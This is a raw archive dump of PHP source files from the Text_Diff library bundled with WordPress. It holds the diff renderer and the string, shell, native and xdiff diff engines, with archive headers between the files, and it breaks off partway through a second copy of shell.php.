		self::__construct( $params );
	}

    /**
     * Get any renderer parameters.
     *
     * @return array  All parameters of this renderer object.
     */
    function getParams()
    {
        $params = array();
        foreach (get_object_vars($this) as $k => $v) {
            if ($k[0] == '_') {
                $params[substr($k, 1)] = $v;
            }
        }

        return $params;
    }

    /**
     * Renders a diff.
     *
     * @param Text_Diff $diff  A Text_Diff object.
     *
     * @return string  The formatted output.
     */
    function render($diff)
    {
        $xi = $yi = 1;
        $block = false;
        $context = array();

        $nlead = $this->_leading_context_lines;
        $ntrail = $this->_trailing_context_lines;

        $output = $this->_startDiff();

        $diffs = $diff->getDiff();
        foreach ($diffs as $i => $edit) {
            /* If these are unchanged (copied) lines, and we want to keep
             * leading or trailing context lines, extract them from the copy
             * block. */
            if (is_a($edit, 'Text_Diff_Op_copy')) {
                /* Do we have any diff blocks yet? */
                if (is_array($block)) {
                    /* How many lines to keep as context from the copy
                     * block. */
                    $keep = $i == count($diffs) - 1 ? $ntrail : $nlead + $ntrail;
                    if (count($edit->orig) <= $keep) {
                        /* We have less lines in the block than we want for
                         * context => keep the whole block. */
                        $block[] = $edit;
                    } else {
                        if ($ntrail) {
                            /* Create a new block with as many lines as we need
                             * for the trailing context. */
                            $context = array_slice($edit->orig, 0, $ntrail);
                            $block[] = new Text_Diff_Op_copy($context);
                        }
                        /* @todo */
                        $output .= $this->_block($x0, $ntrail + $xi - $x0,
                                                 $y0, $ntrail + $yi - $y0,
                                                 $block);
                        $block = false;
                    }
                }
                /* Keep the copy block as the context for the next block. */
                $context = $edit->orig;
            } else {
                /* Don't we have any diff blocks yet? */
                if (!is_array($block)) {
                    /* Extract context lines from the preceding copy block. */
                    $context = array_slice($context, count($context) - $nlead);
                    $x0 = $xi - count($context);
                    $y0 = $yi - count($context);
                    $block = array();
                    if ($context) {
                        $block[] = new Text_Diff_Op_copy($context);
                    }
                }
                $block[] = $edit;
            }

            if ($edit->orig) {
                $xi += count($edit->orig);
            }
            if ($edit->final) {
                $yi += count($edit->final);
            }
        }

        if (is_array($block)) {
            $output .= $this->_block($x0, $xi - $x0,
                                     $y0, $yi - $y0,
                                     $block);
        }

        return $output . $this->_endDiff();
    }

    function _block($xbeg, $xlen, $ybeg, $ylen, &$edits)
    {
        $output = $this->_startBlock($this->_blockHeader($xbeg, $xlen, $ybeg, $ylen));

        foreach ($edits as $edit) {
            switch (strtolower(get_class($edit))) {
            case 'text_diff_op_copy':
                $output .= $this->_context($edit->orig);
                break;

            case 'text_diff_op_add':
                $output .= $this->_added($edit->final);
                break;

            case 'text_diff_op_delete':
                $output .= $this->_deleted($edit->orig);
                break;

            case 'text_diff_op_change':
                $output .= $this->_changed($edit->orig, $edit->final);
                break;
            }
        }

        return $output . $this->_endBlock();
    }

    function _startDiff()
    {
        return '';
    }

    function _endDiff()
    {
        return '';
    }

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        if ($xlen > 1) {
            $xbeg .= ',' . ($xbeg + $xlen - 1);
        }
        if ($ylen > 1) {
            $ybeg .= ',' . ($ybeg + $ylen - 1);
        }

        // this matches the GNU Diff behaviour
        if ($xlen && !$ylen) {
            $ybeg--;
        } elseif (!$xlen) {
            $xbeg--;
        }

        return $xbeg . ($xlen ? ($ylen ? 'c' : 'd') : 'a') . $ybeg;
    }

    function _startBlock($header)
    {
        return $header . "\n";
    }

    function _endBlock()
    {
        return '';
    }

    function _lines($lines, $prefix = ' ')
    {
        return $prefix . implode("\n$prefix", $lines) . "\n";
    }

    function _context($lines)
    {
        return $this->_lines($lines, '  ');
    }

    function _added($lines)
    {
        return $this->_lines($lines, '> ');
    }

    function _deleted($lines)
    {
        return $this->_lines($lines, '< ');
    }

    function _changed($orig, $final)
    {
        return $this->_deleted($orig) . "---\n" . $this->_added($final);
    }

}
                                                                                                                                                                                                                                                                                                                                                                          Engine/string.php                                                                                   0000644                 00000020233 15217306007 0007771 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Parses unified or context diffs output from eg. the diff utility.
 *
 * Example:
 * <code>
 * $patch = file_get_contents('example.patch');
 * $diff = new Text_Diff('string', array($patch));
 * $renderer = new Text_Diff_Renderer_inline();
 * echo $renderer->render($diff);
 * </code>
 *
 * Copyright 2005 Örjan Persson <o@42mm.org>
 * Copyright 2005-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Örjan Persson <o@42mm.org>
 * @package Text_Diff
 * @since   0.2.0
 */
class Text_Diff_Engine_string {

    /**
     * Parses a unified or context diff.
     *
     * First param contains the whole diff and the second can be used to force
     * a specific diff type. If the second parameter is 'autodetect', the
     * diff will be examined to find out which type of diff this is.
     *
     * @param string $diff  The diff content.
     * @param string $mode  The diff mode of the content in $diff. One of
     *                      'context', 'unified', or 'autodetect'.
     *
     * @return array  List of all diff operations.
     */
    function diff($diff, $mode = 'autodetect')
    {
        // Detect line breaks.
        $lnbr = "\n";
        if (strpos($diff, "\r\n") !== false) {
            $lnbr = "\r\n";
        } elseif (strpos($diff, "\r") !== false) {
            $lnbr = "\r";
        }

        // Make sure we have a line break at the EOF.
        if (substr($diff, -strlen($lnbr)) != $lnbr) {
            $diff .= $lnbr;
        }

        if ($mode != 'autodetect' && $mode != 'context' && $mode != 'unified') {
            return PEAR::raiseError('Type of diff is unsupported');
        }

        if ($mode == 'autodetect') {
            $context = strpos($diff, '***');
            $unified = strpos($diff, '---');
            if ($context === $unified) {
                return PEAR::raiseError('Type of diff could not be detected');
            } elseif ($context === false || $unified === false) {
                $mode = $context !== false ? 'context' : 'unified';
            } else {
                $mode = $context < $unified ? 'context' : 'unified';
            }
        }

        // Split by new line and remove the diff header, if there is one.
        $diff = explode($lnbr, $diff);
        if (($mode == 'context' && strpos($diff[0], '***') === 0) ||
            ($mode == 'unified' && strpos($diff[0], '---') === 0)) {
            array_shift($diff);
            array_shift($diff);
        }

        if ($mode == 'context') {
            return $this->parseContextDiff($diff);
        } else {
            return $this->parseUnifiedDiff($diff);
        }
    }

    /**
     * Parses an array containing the unified diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseUnifiedDiff($diff)
    {
        $edits = array();
        $end = count($diff) - 1;
        for ($i = 0; $i < $end;) {
            $diff1 = array();
            switch (substr($diff[$i], 0, 1)) {
            case ' ':
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == ' ');
                $edits[] = new Text_Diff_Op_copy($diff1);
                break;

            case '+':
                // get all new lines
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '+');
                $edits[] = new Text_Diff_Op_add($diff1);
                break;

            case '-':
                // get changed or removed lines
                $diff2 = array();
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '-');

                while ($i < $end && substr($diff[$i], 0, 1) == '+') {
                    $diff2[] = substr($diff[$i++], 1);
                }
                if (count($diff2) == 0) {
                    $edits[] = new Text_Diff_Op_delete($diff1);
                } else {
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                }
                break;

            default:
                $i++;
                break;
            }
        }

        return $edits;
    }

    /**
     * Parses an array containing the context diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseContextDiff(&$diff)
    {
        $edits = array();
        $i = $max_i = $j = $max_j = 0;
        $end = count($diff) - 1;
        while ($i < $end && $j < $end) {
            while ($i >= $max_i && $j >= $max_j) {
                // Find the boundaries of the diff output of the two files
                for ($i = $j;
                     $i < $end && substr($diff[$i], 0, 3) == '***';
                     $i++);
                for ($max_i = $i;
                     $max_i < $end && substr($diff[$max_i], 0, 3) != '---';
                     $max_i++);
                for ($j = $max_i;
                     $j < $end && substr($diff[$j], 0, 3) == '---';
                     $j++);
                for ($max_j = $j;
                     $max_j < $end && substr($diff[$max_j], 0, 3) != '***';
                     $max_j++);
            }

            // find what hasn't been changed
            $array = array();
            while ($i < $max_i &&
                   $j < $max_j &&
                   strcmp($diff[$i], $diff[$j]) == 0) {
                $array[] = substr($diff[$i], 2);
                $i++;
                $j++;
            }

            while ($i < $max_i && ($max_j-$j) <= 1) {
                if ($diff[$i] != '' && substr($diff[$i], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$i++], 2);
            }

            while ($j < $max_j && ($max_i-$i) <= 1) {
                if ($diff[$j] != '' && substr($diff[$j], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$j++], 2);
            }
            if (count($array) > 0) {
                $edits[] = new Text_Diff_Op_copy($array);
            }

            if ($i < $max_i) {
                $diff1 = array();
                switch (substr($diff[$i], 0, 1)) {
                case '!':
                    $diff2 = array();
                    do {
                        $diff1[] = substr($diff[$i], 2);
                        if ($j < $max_j && substr($diff[$j], 0, 1) == '!') {
                            $diff2[] = substr($diff[$j++], 2);
                        }
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '!');
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                    break;

                case '+':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff1);
                    break;

                case '-':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff1);
                    break;
                }
            }

            if ($j < $max_j) {
                $diff2 = array();
                switch (substr($diff[$j], 0, 1)) {
                case '+':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff2);
                    break;

                case '-':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff2);
                    break;
                }
            }
        }

        return $edits;
    }

}
                                                                                                                                                                                                                                                                                                                                                                     Engine/shell.php                                                                                    0000644                 00000012123 15217306007 0007571 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the Unix `diff` program via shell_exec to compute the
 * differences between the two input arrays.
 *
 * Copyright 2007-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Milian Wolff <mail@milianw.de>
 * @package Text_Diff
 * @since   0.3.0
 */
class Text_Diff_Engine_shell {

    /**
     * Path to the diff executable
     *
     * @var string
     */
    var $_diffCommand = 'diff';

    /**
     * Returns the array of differences.
     *
     * @param array $from_lines lines of text from old file
     * @param array $to_lines   lines of text from new file
     *
     * @return array all changes made (array with Text_Diff_Op_* objects)
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $temp_dir = Text_Diff::_getTempDir();

        // Execute gnu diff or similar to get a standard diff file.
        $from_file = tempnam($temp_dir, 'Text_Diff');
        $to_file = tempnam($temp_dir, 'Text_Diff');
        $fp = fopen($from_file, 'w');
        fwrite($fp, implode("\n", $from_lines));
        fclose($fp);
        $fp = fopen($to_file, 'w');
        fwrite($fp, implode("\n", $to_lines));
        fclose($fp);
        $diff = shell_exec($this->_diffCommand . ' ' . $from_file . ' ' . $to_file);
        unlink($from_file);
        unlink($to_file);

        if (is_null($diff)) {
            // No changes were made
            return array(new Text_Diff_Op_copy($from_lines));
        }

        $from_line_no = 1;
        $to_line_no = 1;
        $edits = array();

        // Get changed lines by parsing something like:
        // 0a1,2
        // 1,2c4,6
        // 1,5d6
        preg_match_all('#^(\d+)(?:,(\d+))?([adc])(\d+)(?:,(\d+))?$#m', $diff,
            $matches, PREG_SET_ORDER);

        foreach ($matches as $match) {
            if (!isset($match[5])) {
                // This paren is not set every time (see regex).
                $match[5] = false;
            }

            if ($match[3] == 'a') {
                $from_line_no--;
            }

            if ($match[3] == 'd') {
                $to_line_no--;
            }

            if ($from_line_no < $match[1] || $to_line_no < $match[4]) {
                // copied lines
                assert($match[1] - $from_line_no == $match[4] - $to_line_no);
                array_push($edits,
                    new Text_Diff_Op_copy(
                        $this->_getLines($from_lines, $from_line_no, $match[1] - 1),
                        $this->_getLines($to_lines, $to_line_no, $match[4] - 1)));
            }

            switch ($match[3]) {
            case 'd':
                // deleted lines
                array_push($edits,
                    new Text_Diff_Op_delete(
                        $this->_getLines($from_lines, $from_line_no, $match[2])));
                $to_line_no++;
                break;

            case 'c':
                // changed lines
                array_push($edits,
                    new Text_Diff_Op_change(
                        $this->_getLines($from_lines, $from_line_no, $match[2]),
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                break;

            case 'a':
                // added lines
                array_push($edits,
                    new Text_Diff_Op_add(
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                $from_line_no++;
                break;
            }
        }

        if (!empty($from_lines)) {
            // Some lines might still be pending. Add them as copied
            array_push($edits,
                new Text_Diff_Op_copy(
                    $this->_getLines($from_lines, $from_line_no,
                                     $from_line_no + count($from_lines) - 1),
                    $this->_getLines($to_lines, $to_line_no,
                                     $to_line_no + count($to_lines) - 1)));
        }

        return $edits;
    }

    /**
     * Get lines from either the old or new text
     *
     * @access private
     *
     * @param array $text_lines Either $from_lines or $to_lines (passed by reference).
     * @param int   $line_no    Current line number (passed by reference).
     * @param int   $end        Optional end line, when we want to chop more
     *                          than one line.
     *
     * @return array The chopped lines
     */
    function _getLines(&$text_lines, &$line_no, $end = false)
    {
        if (!empty($end)) {
            $lines = array();
            // We can shift even more
            while ($line_no <= $end) {
                array_push($lines, array_shift($text_lines));
                $line_no++;
            }
        } else {
            $lines = array(array_shift($text_lines));
            $line_no++;
        }

        return $lines;
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                             Engine/native.php                                                                                   0000644                 00000037261 15217306007 0007762 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Class used internally by Text_Diff to actually compute the diffs.
 *
 * This class is implemented using native PHP code.
 *
 * The algorithm used here is mostly lifted from the perl module
 * Algorithm::Diff (version 1.06) by Ned Konz, which is available at:
 * https://cpan.metacpan.org/authors/id/N/NE/NEDKONZ/Algorithm-Diff-1.06.zip
 *
 * More ideas are taken from: http://www.ics.uci.edu/~eppstein/161/960229.html
 *
 * Some ideas (and a bit of code) are taken from analyze.c, of GNU
 * diffutils-2.7, which can be found at:
 * ftp://gnudist.gnu.org/pub/gnu/diffutils/diffutils-2.7.tar.gz
 *
 * Some ideas (subdivision by NCHUNKS > 2, and some optimizations) are from
 * Geoffrey T. Dairiki <dairiki@dairiki.org>. The original PHP version of this
 * code was written by him, and is used/adapted with his permission.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_native {

    public $xchanged;
    public $ychanged;
    public $xv;
    public $yv;
    public $xind;
    public $yind;
    public $seq;
    public $in_seq;
    public $lcs;

    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $n_from = count($from_lines);
        $n_to = count($to_lines);

        $this->xchanged = $this->ychanged = array();
        $this->xv = $this->yv = array();
        $this->xind = $this->yind = array();
        unset($this->seq);
        unset($this->in_seq);
        unset($this->lcs);

        // Skip leading common lines.
        for ($skip = 0; $skip < $n_from && $skip < $n_to; $skip++) {
            if ($from_lines[$skip] !== $to_lines[$skip]) {
                break;
            }
            $this->xchanged[$skip] = $this->ychanged[$skip] = false;
        }

        // Skip trailing common lines.
        $xi = $n_from; $yi = $n_to;
        for ($endskip = 0; --$xi > $skip && --$yi > $skip; $endskip++) {
            if ($from_lines[$xi] !== $to_lines[$yi]) {
                break;
            }
            $this->xchanged[$xi] = $this->ychanged[$yi] = false;
        }

        // Ignore lines which do not exist in both files.
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $xhash[$from_lines[$xi]] = 1;
        }
        for ($yi = $skip; $yi < $n_to - $endskip; $yi++) {
            $line = $to_lines[$yi];
            if (($this->ychanged[$yi] = empty($xhash[$line]))) {
                continue;
            }
            $yhash[$line] = 1;
            $this->yv[] = $line;
            $this->yind[] = $yi;
        }
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $line = $from_lines[$xi];
            if (($this->xchanged[$xi] = empty($yhash[$line]))) {
                continue;
            }
            $this->xv[] = $line;
            $this->xind[] = $xi;
        }

        // Find the LCS.
        $this->_compareseq(0, count($this->xv), 0, count($this->yv));

        // Merge edits when possible.
        $this->_shiftBoundaries($from_lines, $this->xchanged, $this->ychanged);
        $this->_shiftBoundaries($to_lines, $this->ychanged, $this->xchanged);

        // Compute the edit operations.
        $edits = array();
        $xi = $yi = 0;
        while ($xi < $n_from || $yi < $n_to) {
            assert($yi < $n_to || $this->xchanged[$xi]);
            assert($xi < $n_from || $this->ychanged[$yi]);

            // Skip matching "snake".
            $copy = array();
            while ($xi < $n_from && $yi < $n_to
                   && !$this->xchanged[$xi] && !$this->ychanged[$yi]) {
                $copy[] = $from_lines[$xi++];
                ++$yi;
            }
            if ($copy) {
                $edits[] = new Text_Diff_Op_copy($copy);
            }

            // Find deletes & adds.
            $delete = array();
            while ($xi < $n_from && $this->xchanged[$xi]) {
                $delete[] = $from_lines[$xi++];
            }

            $add = array();
            while ($yi < $n_to && $this->ychanged[$yi]) {
                $add[] = $to_lines[$yi++];
            }

            if ($delete && $add) {
                $edits[] = new Text_Diff_Op_change($delete, $add);
            } elseif ($delete) {
                $edits[] = new Text_Diff_Op_delete($delete);
            } elseif ($add) {
                $edits[] = new Text_Diff_Op_add($add);
            }
        }

        return $edits;
    }

    /**
     * Divides the Largest Common Subsequence (LCS) of the sequences (XOFF,
     * XLIM) and (YOFF, YLIM) into NCHUNKS approximately equally sized
     * segments.
     *
     * Returns (LCS, PTS).  LCS is the length of the LCS. PTS is an array of
     * NCHUNKS+1 (X, Y) indexes giving the diving points between sub
     * sequences.  The first sub-sequence is contained in (X0, X1), (Y0, Y1),
     * the second in (X1, X2), (Y1, Y2) and so on.  Note that (X0, Y0) ==
     * (XOFF, YOFF) and (X[NCHUNKS], Y[NCHUNKS]) == (XLIM, YLIM).
     *
     * This function assumes that the first lines of the specified portions of
     * the two files do not match, and likewise that the last lines do not
     * match.  The caller must trim matching lines from the beginning and end
     * of the portions it is going to specify.
     */
    function _diag ($xoff, $xlim, $yoff, $ylim, $nchunks)
    {
        $flip = false;

        if ($xlim - $xoff > $ylim - $yoff) {
            /* Things seems faster (I'm not sure I understand why) when the
             * shortest sequence is in X. */
            $flip = true;
            list ($xoff, $xlim, $yoff, $ylim)
                = array($yoff, $ylim, $xoff, $xlim);
        }

        if ($flip) {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->xv[$i]][] = $i;
            }
        } else {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->yv[$i]][] = $i;
            }
        }

        $this->lcs = 0;
        $this->seq[0]= $yoff - 1;
        $this->in_seq = array();
        $ymids[0] = array();

        $numer = $xlim - $xoff + $nchunks - 1;
        $x = $xoff;
        for ($chunk = 0; $chunk < $nchunks; $chunk++) {
            if ($chunk > 0) {
                for ($i = 0; $i <= $this->lcs; $i++) {
                    $ymids[$i][$chunk - 1] = $this->seq[$i];
                }
            }

            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $chunk) / $nchunks);
            for (; $x < $x1; $x++) {
                $line = $flip ? $this->yv[$x] : $this->xv[$x];
                if (empty($ymatches[$line])) {
                    continue;
                }
                $matches = $ymatches[$line];
                reset($matches);
                while ($y = current($matches)) {
                    if (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                        break;
                    }
                    next($matches);
                }
                while ($y = current($matches)) {
                    if ($y > $this->seq[$k - 1]) {
                        assert($y <= $this->seq[$k]);
                        /* Optimization: this is a common case: next match is
                         * just replacing previous match. */
                        $this->in_seq[$this->seq[$k]] = false;
                        $this->seq[$k] = $y;
                        $this->in_seq[$y] = 1;
                    } elseif (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                    }
                    next($matches);
                }
            }
        }

        $seps[] = $flip ? array($yoff, $xoff) : array($xoff, $yoff);
        $ymid = $ymids[$this->lcs];
        for ($n = 0; $n < $nchunks - 1; $n++) {
            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $n) / $nchunks);
            $y1 = $ymid[$n] + 1;
            $seps[] = $flip ? array($y1, $x1) : array($x1, $y1);
        }
        $seps[] = $flip ? array($ylim, $xlim) : array($xlim, $ylim);

        return array($this->lcs, $seps);
    }

    function _lcsPos($ypos)
    {
        $end = $this->lcs;
        if ($end == 0 || $ypos > $this->seq[$end]) {
            $this->seq[++$this->lcs] = $ypos;
            $this->in_seq[$ypos] = 1;
            return $this->lcs;
        }

        $beg = 1;
        while ($beg < $end) {
            $mid = (int)(($beg + $end) / 2);
            if ($ypos > $this->seq[$mid]) {
                $beg = $mid + 1;
            } else {
                $end = $mid;
            }
        }

        assert($ypos != $this->seq[$end]);

        $this->in_seq[$this->seq[$end]] = false;
        $this->seq[$end] = $ypos;
        $this->in_seq[$ypos] = 1;
        return $end;
    }

    /**
     * Finds LCS of two sequences.
     *
     * The results are recorded in the vectors $this->{x,y}changed[], by
     * storing a 1 in the element for each line that is an insertion or
     * deletion (ie. is not in the LCS).
     *
     * The subsequence of file 0 is (XOFF, XLIM) and likewise for file 1.
     *
     * Note that XLIM, YLIM are exclusive bounds.  All line numbers are
     * origin-0 and discarded lines are not counted.
     */
    function _compareseq ($xoff, $xlim, $yoff, $ylim)
    {
        /* Slide down the bottom initial diagonal. */
        while ($xoff < $xlim && $yoff < $ylim
               && $this->xv[$xoff] == $this->yv[$yoff]) {
            ++$xoff;
            ++$yoff;
        }

        /* Slide up the top initial diagonal. */
        while ($xlim > $xoff && $ylim > $yoff
               && $this->xv[$xlim - 1] == $this->yv[$ylim - 1]) {
            --$xlim;
            --$ylim;
        }

        if ($xoff == $xlim || $yoff == $ylim) {
            $lcs = 0;
        } else {
            /* This is ad hoc but seems to work well.  $nchunks =
             * sqrt(min($xlim - $xoff, $ylim - $yoff) / 2.5); $nchunks =
             * max(2,min(8,(int)$nchunks)); */
            $nchunks = min(7, $xlim - $xoff, $ylim - $yoff) + 1;
            list($lcs, $seps)
                = $this->_diag($xoff, $xlim, $yoff, $ylim, $nchunks);
        }

        if ($lcs == 0) {
            /* X and Y sequences have no common subsequence: mark all
             * changed. */
            while ($yoff < $ylim) {
                $this->ychanged[$this->yind[$yoff++]] = 1;
            }
            while ($xoff < $xlim) {
                $this->xchanged[$this->xind[$xoff++]] = 1;
            }
        } else {
            /* Use the partitions to split this problem into subproblems. */
            reset($seps);
            $pt1 = $seps[0];
            while ($pt2 = next($seps)) {
                $this->_compareseq ($pt1[0], $pt2[0], $pt1[1], $pt2[1]);
                $pt1 = $pt2;
            }
        }
    }

    /**
     * Adjusts inserts/deletes of identical lines to join changes as much as
     * possible.
     *
     * We do something when a run of changed lines include a line at one end
     * and has an excluded, identical line at the other.  We are free to
     * choose which identical line is included.  `compareseq' usually chooses
     * the one at the beginning, but usually it is cleaner to consider the
     * following identical line to be the "change".
     *
     * This is extracted verbatim from analyze.c (GNU diffutils-2.7).
     */
    function _shiftBoundaries($lines, &$changed, $other_changed)
    {
        $i = 0;
        $j = 0;

        assert(count($lines) == count($changed));
        $len = count($lines);
        $other_len = count($other_changed);

        while (1) {
            /* Scan forward to find the beginning of another run of
             * changes. Also keep track of the corresponding point in the
             * other file.
             *
             * Throughout this code, $i and $j are adjusted together so that
             * the first $i elements of $changed and the first $j elements of
             * $other_changed both contain the same number of zeros (unchanged
             * lines).
             *
             * Furthermore, $j is always kept so that $j == $other_len or
             * $other_changed[$j] == false. */
            while ($j < $other_len && $other_changed[$j]) {
                $j++;
            }

            while ($i < $len && ! $changed[$i]) {
                assert($j < $other_len && ! $other_changed[$j]);
                $i++; $j++;
                while ($j < $other_len && $other_changed[$j]) {
                    $j++;
                }
            }

            if ($i == $len) {
                break;
            }

            $start = $i;

            /* Find the end of this run of changes. */
            while (++$i < $len && $changed[$i]) {
                continue;
            }

            do {
                /* Record the length of this run of changes, so that we can
                 * later determine whether the run has grown. */
                $runlength = $i - $start;

                /* Move the changed region back, so long as the previous
                 * unchanged line matches the last changed one.  This merges
                 * with previous changed regions. */
                while ($start > 0 && $lines[$start - 1] == $lines[$i - 1]) {
                    $changed[--$start] = 1;
                    $changed[--$i] = false;
                    while ($start > 0 && $changed[$start - 1]) {
                        $start--;
                    }
                    assert($j > 0);
                    while ($other_changed[--$j]) {
                        continue;
                    }
                    assert($j >= 0 && !$other_changed[$j]);
                }

                /* Set CORRESPONDING to the end of the changed run, at the
                 * last point where it corresponds to a changed run in the
                 * other file. CORRESPONDING == LEN means no such point has
                 * been found. */
                $corresponding = $j < $other_len ? $i : $len;

                /* Move the changed region forward, so long as the first
                 * changed line matches the following unchanged one.  This
                 * merges with following changed regions.  Do this second, so
                 * that if there are no merges, the changed region is moved
                 * forward as far as possible. */
                while ($i < $len && $lines[$start] == $lines[$i]) {
                    $changed[$start++] = false;
                    $changed[$i++] = 1;
                    while ($i < $len && $changed[$i]) {
                        $i++;
                    }

                    assert($j < $other_len && ! $other_changed[$j]);
                    $j++;
                    if ($j < $other_len && $other_changed[$j]) {
                        $corresponding = $i;
                        while ($j < $other_len && $other_changed[$j]) {
                            $j++;
                        }
                    }
                }
            } while ($runlength != $i - $start);

            /* If possible, move the fully-merged run of changes back to a
             * corresponding run in the other file. */
            while ($corresponding < $i) {
                $changed[--$start] = 1;
                $changed[--$i] = 0;
                assert($j > 0);
                while ($other_changed[--$j]) {
                    continue;
                }
                assert($j >= 0 && !$other_changed[$j]);
            }
        }
    }

}
                                                                                                                                                                                                                                                                                                                                               Engine/xdiff.php                                                                                    0000644                 00000004233 15217306007 0007565 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the xdiff PECL package (http://pecl.php.net/package/xdiff)
 * to compute the differences between the two input arrays.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Jon Parise <jon@horde.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_xdiff {

    /**
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        /* Convert the two input arrays into strings for xdiff processing. */
        $from_string = implode("\n", $from_lines);
        $to_string = implode("\n", $to_lines);

        /* Diff the two strings and convert the result to an array. */
        $diff = xdiff_string_diff($from_string, $to_string, count($to_lines));
        $diff = explode("\n", $diff);

        /* Walk through the diff one line at a time.  We build the $edits
         * array of diff operations by reading the first character of the
         * xdiff output (which is in the "unified diff" format).
         *
         * Note that we don't have enough information to detect "changed"
         * lines using this approach, so we can't add Text_Diff_Op_changed
         * instances to the $edits array.  The result is still perfectly
         * valid, albeit a little less descriptive and efficient. */
        $edits = array();
        foreach ($diff as $line) {
            if (!strlen($line)) {
                continue;
            }
            switch ($line[0]) {
            case ' ':
                $edits[] = new Text_Diff_Op_copy(array(substr($line, 1)));
                break;

            case '+':
                $edits[] = new Text_Diff_Op_add(array(substr($line, 1)));
                break;

            case '-':
                $edits[] = new Text_Diff_Op_delete(array(substr($line, 1)));
                break;
            }
        }

        return $edits;
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     PK     j\:        shell.php.tarnu [        home/laratrends/public_html/wp-includes/Text/Diff/Engine/shell.php                                  0000644                 00000012123 15217306031 0021205 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the Unix `diff` program via shell_exec to compute the
 * differences between the two input arrays.
 *
 * Copyright 2007-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Milian Wolff <mail@milianw.de>
 * @package Text_Diff
 * @since   0.3.0
 */
class Text_Diff_Engine_shell {

    /**
     * Path to the diff executable
     *
     * @var string
     */
    var $_diffCommand = 'diff';

    /**
     * Returns the array of differences.
     *
     * @param array $from_lines lines of text from old file
     * @param array $to_lines   lines of text from new file
     *
     * @return array all changes made (array with Text_Diff_Op_* objects)
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $temp_dir = Text_Diff::_getTempDir();

        // Execute gnu diff or similar to get a standard diff file.
        $from_file = tempnam($temp_dir, 'Text_Diff');
